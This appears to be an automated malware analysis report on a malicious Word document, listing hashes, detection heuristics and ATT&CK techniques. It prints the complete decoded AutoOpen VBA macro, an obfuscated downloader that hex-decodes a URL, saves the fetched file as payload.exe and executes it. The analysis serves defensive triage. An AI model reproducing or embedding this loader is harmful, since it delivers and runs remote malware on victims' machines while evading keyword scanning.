Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a0e49aa2dc0e4cc3…

MALICIOUS

Office (OLE)

30.5 KB Created: 2018-05-27 18:58:00 Authoring application: Microsoft Office Word First seen: 2018-10-07
MD5: ac8257f8793326763444d0671cc7d069 SHA-1: 66134f79a957c893a341097ccd9de79374fa5cfe SHA-256: a0e49aa2dc0e4cc3e6817e21090d74583190fa3277e5ba9fefa2f62d84937b22
370 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains an AutoOpen VBA macro that is obfuscated and uses CreateObject and Shell calls. The macro decodes a URL and a file path, downloads a file from 'the embedded link', saves it as 'c:\temp\payload.exe', and then executes it. This indicates a downloader or droppper functionality.

Heuristics 10

  • ClamAV: Doc.Malware.Valyria-6923224-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6923224-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    'result = Shell(gwebswzwr, msgazomamd)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    wlfptvxwnyimdwfj.Write ouekkhlkjt.ResponseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set ouekkhlkjt = CreateObject(asvanwnqsyfe("4d53584d4c322e536572766572584d4c485454502e362e") & asvanwnqsyfe("30"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set ouekkhlkjt = CreateObject(asvanwnqsyfe("4d53584d4c322e536572766572584d4c485454502e362e") & asvanwnqsyfe("30"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1913 bytes
SHA-256: 80135381d0f9507e36c2c43e255addf514b8db5f8db4fbd8e138b4040eda05aa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const abdbbprkji = 2
Const eaiitxsdsd = 1
Const msgazomamd = 0
Private Sub ogzesvutyedp()
Dim tvtpmnrmvljkkoy As String
Dim gwebswzwr As String
Dim ouekkhlkjt As Object, wlfptvxwnyimdwfj As Object
Dim kvpezyhtmcymdb As Integer
tvtpmnrmvljkkoy = asvanwnqsyfe("687474703a2f2f7777772e776861746576") & asvanwnqsyfe("65722e636f6d")
gwebswzwr = asvanwnqsyfe("63") & asvanwnqsyfe("3a5c74656d705c7061796c6f61642e657865")
Set ouekkhlkjt = CreateObject(asvanwnqsyfe("4d53584d4c322e536572766572584d4c485454502e362e") & asvanwnqsyfe("30"))
ouekkhlkjt.setOption(2) = 13056
ouekkhlkjt.Open asvanwnqsyfe("474554"), tvtpmnrmvljkkoy, False
ouekkhlkjt.setRequestHeader asvanwnqsyfe("557365") & asvanwnqsyfe("722d4167656e74"), asvanwnqsyfe("4d6f7a696c6c612f34") & asvanwnqsyfe("2e302028636f6d70617469626c653b204d53494520362e303b2057696e646f7773204e5420352e3029")
ouekkhlkjt.Send
If ouekkhlkjt.Status = 200 Then
Set wlfptvxwnyimdwfj = CreateObject(asvanwnqsyfe("41444f44422e53") & asvanwnqsyfe("747265616d"))
wlfptvxwnyimdwfj.Open
wlfptvxwnyimdwfj.Type = 1
wlfptvxwnyimdwfj.Write ouekkhlkjt.ResponseBody
wlfptvxwnyimdwfj.SaveToFile gwebswzwr, 2
wlfptvxwnyimdwfj.Close
CreateObject(asvanwnqsyfe("57536372697074") & asvanwnqsyfe("2e5368656c6c")).Run gwebswzwr, 0
'result = Shell(gwebswzwr, msgazomamd)
End If
End Sub
Sub AutoOpen()
ogzesvutyedp
End Sub
Private Function asvanwnqsyfe(ByVal tqqvlxhsshvd As String) As String
Dim ewlhjklbiiqe As Long
For ewlhjklbiiqe = 1 To Len(tqqvlxhsshvd) Step 2
asvanwnqsyfe = asvanwnqsyfe & Chr$(Val("&H" & Mid$(tqqvlxhsshvd, ewlhjklbiiqe, 2)))
Next ewlhjklbiiqe
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.